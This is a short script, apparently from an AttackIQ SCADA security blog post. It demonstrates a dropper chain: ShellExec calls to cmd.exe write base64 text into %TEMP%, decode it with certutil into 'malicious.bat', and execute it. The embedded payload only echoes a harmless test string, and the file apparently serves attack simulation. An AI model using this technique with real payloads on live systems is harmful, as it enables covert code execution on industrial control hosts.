AttackIQ GameOn! Scada Blog Post

wll-poison.js

//Write out base64 encoded file to Windows TEMP directory
ShellExec("C:\Windows\system32\cmd.exe","Open","",4,"","/C echo -----BEGIN CERTIFICATE----- > %TEMP%\\test.txt");
ShellExec("C:\Windows\system32\cmd.exe","Open","",4,"","/C echo ZWNobyBzZWN1cml0eXRlc3QgPiAlVEVNUCVcXG1hbGljaW91cy5leGU= >> %TEMP%\\test.txt");
ShellExec("C:\Windows\system32\cmd.exe","Open","",4,"","/C echo -----END CERTIFICATE----- >> %TEMP%\\test.txt");

//Decode base64 encoded file and output malicious batch file
ShellExec("C:\Windows\system32\cmd.exe","Open","",4,"","/C certutil -decode %TEMP%\\test.txt %TEMP%\\malicious.bat");

//Execute malicious batch file
ShellExec("C:\Windows\system32\cmd.exe","Open","",4,"","/C %TEMP%\\malicious.bat");

Added a file extension for syntax highlighting. Not actually a JS file.

Fixed typo.